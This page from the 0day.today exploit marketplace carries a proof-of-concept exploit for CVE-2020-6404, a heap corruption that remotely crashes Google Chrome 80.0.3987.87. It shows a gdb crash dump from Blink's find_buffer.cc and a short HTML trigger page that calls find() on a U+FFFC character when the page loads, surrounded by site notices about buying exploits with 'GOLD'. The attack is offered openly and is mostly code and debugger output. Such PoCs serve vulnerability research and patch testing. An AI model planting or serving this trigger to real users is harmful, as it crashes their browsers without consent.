0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service Exploit
# Exploit Title: Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC) # Exploit Author: Cem Onat Karagun of Diesec GmBH # Vendor Homepage: https://www.google.com/ # Version: Google Chrome 80.0.3987.87 # Tested on: Windows x64 / Linux Debian x64 / MacOS # CVE: CVE-2020-6404 # PoC Video: http://www.youtube.com/watch?v=tv5sDDwiWg8 # Description: https://bugs.chromium.org/p/chromium/issues/detail?id=1024256 Thread 35 "Chrome_InProcRe" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7f2cbf9ad700 (LWP 3275)] [----------------------------------registers-----------------------------------] RAX: 0x7f2cbe98d100 --> 0x41b58ab3 RBX: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 RCX: 0x1fffffffffffffff RDX: 0x7f2cbeb8bdf4 --> 0x0 RSI: 0x7f2cbeb8bdc0 --> 0x613000000000 --> 0xcc6e96b9 --> 0x0 RDI: 0x0 RBP: 0x7f2cbf9aaa70 --> 0x7f2cbf9aabf0 --> 0x7f2cbf9aad10 --> 0x7f2cbf9aadd0 --> 0x7f2cbf9aaea0 --> 0x7f2cbf9aafb0 (--> ...) RSP: 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 RIP: 0x559e50c11189 (<RangeFromBufferIndex()+377>: mov cl,BYTE PTR [rcx+0x7fff8000]) R8 : 0xfffffffffffffff8 R9 : 0x0 R10: 0x7f2cbec6a670 --> 0x7f2cbec6a070 --> 0xd47000000000000 ('') R11: 0x7f2cbe98d100 --> 0x41b58ab3 R12: 0xfe597d31a20 --> 0x0 R13: 0x7f2cbeb8bde8 --> 0x0 R14: 0x0 R15: 0x2 EFLAGS: 0x10a06 (carry PARITY adjust zero sign trap INTERRUPT direction OVERFLOW) [-------------------------------------code-------------------------------------] 0x559e50c1117e <RangeFromBufferIndex()+366>: lea r8,[rdi-0x8] 0x559e50c11182 <RangeFromBufferIndex()+370>: mov rcx,r8 0x559e50c11185 <RangeFromBufferIndex()+373>: shr rcx,0x3 => 0x559e50c11189 <RangeFromBufferIndex()+377>: mov cl,BYTE PTR [rcx+0x7fff8000] 0x559e50c1118f <RangeFromBufferIndex()+383>: test cl,cl 0x559e50c11191 <RangeFromBufferIndex()+385>: jne 0x559e50c11418 <RangeFromBufferIndex()+1032> 0x559e50c11197 <RangeFromBufferIndex()+391>: add rdi,0xffffffffffffffff 0x559e50c1119b <RangeFromBufferIndex()+395>: mov rcx,rdi [------------------------------------stack-------------------------------------] 0000| 0x7f2cbf9aa9c0 --> 0xfe597d7178d --> 0x0 0008| 0x7f2cbf9aa9c8 --> 0xc0c001162e6 --> 0x0 0016| 0x7f2cbf9aa9d0 --> 0xfe597d717be --> 0x0 0024| 0x7f2cbf9aa9d8 --> 0xfe597d717bd --> 0x0 0032| 0x7f2cbf9aa9e0 --> 0x7f2cbeb8bdf4 --> 0x0 0040| 0x7f2cbf9aa9e8 --> 0x7f2cbeb8bea0 --> 0x6060008b1720 --> 0x602000098630 --> 0x200000003 --> 0x0 0048| 0x7f2cbf9aa9f0 --> 0x21bec4d308 --> 0x0 0056| 0x7f2cbf9aa9f8 --> 0xfe597cfab48 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000559e50c11189 in MappingForIndex () at ../../third_party/blink/renderer/core/editing/finder/find_buffer.cc:450 450 ../../third_party/blink/renderer/core/editing/finder/find_buffer.cc: No such file or directory. <!DOCTYPE html> <head> <script type="text/javascript"> document.addEventListener("DOMContentLoaded", function(){ find(decodeURIComponent('\uFFFC')); }); </script> </head> <body> <legend></legend> </body> </html> # 0day.today [2024-06-06] #